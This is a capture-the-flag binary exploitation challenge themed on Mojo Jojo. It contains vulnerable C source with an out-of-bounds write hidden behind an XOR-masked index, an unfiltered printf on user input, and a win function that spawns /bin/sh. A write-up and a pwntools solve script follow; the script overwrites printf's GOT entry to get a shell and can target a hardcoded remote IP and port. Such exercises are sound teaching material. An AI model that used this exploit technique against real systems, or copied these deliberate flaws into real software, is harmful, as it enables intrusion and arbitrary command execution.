#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/*
MOJO JOJO'S LAZY LAB
"I Mojo Jojo shall defeat the Powerpuff Girls with my Lazy Linker!"
*/
// Global buffers
char chemical_x[100];
long dna_sequences[10];
void lab_win() {
const char *msg = "\n[MOJO JOJO]: NOOOOO! You have compromised my laboratory!\n";
write(1, msg, strlen(msg));
system("/bin/sh");
exit(0);
}
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void print_str(const char *s) {
write(1, s, strlen(s));
}
void banner() {
print_str(" _---_ \n");
print_str(" / \\ \n");
print_str(" | () () | \n");
print_str(" \\ ^ / \n");
print_str(" ||||| \n");
print_str(" /-------\\ \n");
print_str(" | MOJO JO | \n");
print_str(" | LAB | \n");
print_str(" \\_______/ \n");
print_str("\n[MOJO JOJO]: Welcome to my secret laboratory!\n");
print_str("I, Mojo Jojo, am the most brilliant monkey in the world!\n\n");
}
int get_input() {
char buf[16];
if (fgets(buf, sizeof(buf), stdin) == NULL) exit(0);
return atoi(buf);
}
int main() {
setup();
banner();
print_str("[LAB-SCANNER]: Input your Chemical X formula: ");
if (fgets(chemical_x, sizeof(chemical_x), stdin) == NULL) exit(0);
if (strchr(chemical_x, '%')) {
print_str("[MOJO JOJO]: CURSES! Powerpuff Girls trickery detected!\n");
exit(1);
}
while(1) {
print_str("\n--- Laboratory Terminal ---\n");
print_str("1. Modify DNA Sequence\n");
print_str("2. Synthesize Chemical X\n");
print_str("3. Abandon Laboratory\n");
print_str("> ");
int choice = get_input();
if (choice == 1) { // DNA Modification (OOB Write)
print_str("DNA Slot Index: ");
int idx = get_input();
print_str("Base Pair Value: ");
int val = get_input();
unsigned short *modifier = (unsigned short*)dna_sequences;
// The Monkey Math: XOR the index to hide the target
modifier[idx ^ 0x7050] = (unsigned short)val;
print_str("[LAB]: DNA sequence updated successfully.\n");
}
else if (choice == 2) { // Synthesis (Echo/Printf)
print_str("[SYNTHESIZER]: Processing formula: ");
// This is where the GOT overwrite pays off.
// Using printf here ensures the exploit only triggers when requested.
printf(chemical_x);
print_str("\nSynthesis complete.\n");
}
else {
print_str("[MOJO JOJO]: I shall return! FAREWELL!\n");
exit(0);
}
}
return 0;
}
| Field | Value |
|---|---|
| Category | PWN |
| Difficulty | Hard |
| Author | r3t0x |
| Technique | OOB Write + GOT Overwrite |
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
modifier[idx ^ 0x7050] = (unsigned short)val;
The index is XOR'd with 0x7050 before use. By choosing idx carefully, we can write a 16-bit value anywhere relative to dna_sequences — including the GOT.
printf(chemical_x); // controlled input!
The '%' character is filtered from chemical_x, but the OOB write lets us overwrite GOT entries (e.g., printf@got → lab_win).
dna_sequences to printf@got0x7050 to get the required input indexprintf@got with lab_winprintf(chemical_x) → now jumps to lab_win()lab_win() calls system("/bin/sh")[MOJO JOJO]: NOOOOO! You have compromised my laboratory!
$ cat flag.txt
MOJO-JOJO{m0j0_l4b_0wn3d}
from pwn import *
import sys
# Set context
context.binary = binary = ELF('./main')
context.log_level = 'info'
if args.REMOTE:
host = args.HOST or '4.233.210.175'
port = int(args.PORT or 9007)
p = remote(host, port)
else:
p = process('./main')
def get_menu():
p.recvuntil(b'> ')
def write_val(idx, val):
get_menu()
p.sendline(b'1') # Modify DNA Sequence
p.recvuntil(b'DNA Slot Index: ')
# The Monkey Math: inverse the XOR to hit the target
p.sendline(str(idx ^ 0x7050).encode())
p.recvuntil(b'Base Pair Value: ')
p.sendline(str(val).encode())
p.recvuntil(b'[LAB]: DNA sequence updated successfully.\n')
def trigger():
get_menu()
p.sendline(b'2') # Synthesize Chemical X
# Exploit Logic
# 1. Target: printf@GOT
# 2. Value: lab_win() address
# 3. Primitive: 2-byte write via 'unsigned short' array
# Note: In the new main.c, global names are chemical_x and dna_sequences
got_printf = binary.got['printf']
sym_dna = binary.symbols['dna_sequences']
sym_win = binary.symbols['lab_win']
log.info(f"printf@GOT: {hex(got_printf)}")
log.info(f"dna_sequences: {hex(sym_dna)}")
log.info(f"lab_win: {hex(sym_win)}")
# Calculate start index
# dna_sequences + i * 2 = got_printf => i = (got_printf - dna_sequences) / 2
idx_start = (got_printf - sym_dna) // 2
log.info(f"Index start: {idx_start}")
chunks = [
(sym_win >> 0) & 0xFFFF,
(sym_win >> 16) & 0xFFFF,
(sym_win >> 32) & 0xFFFF,
(sym_win >> 48) & 0xFFFF
]
p.recvuntil(b'Input your Chemical X formula: ')
p.sendline(b"HELLO-MOJO") # Initial formula
for i, chunk in enumerate(chunks):
log.info(f"Writing chunk {i}: {hex(chunk)} at idx {idx_start + i}")
write_val(idx_start + i, chunk)
log.info("Triggering synthesized formula...")
trigger()
p.interactive()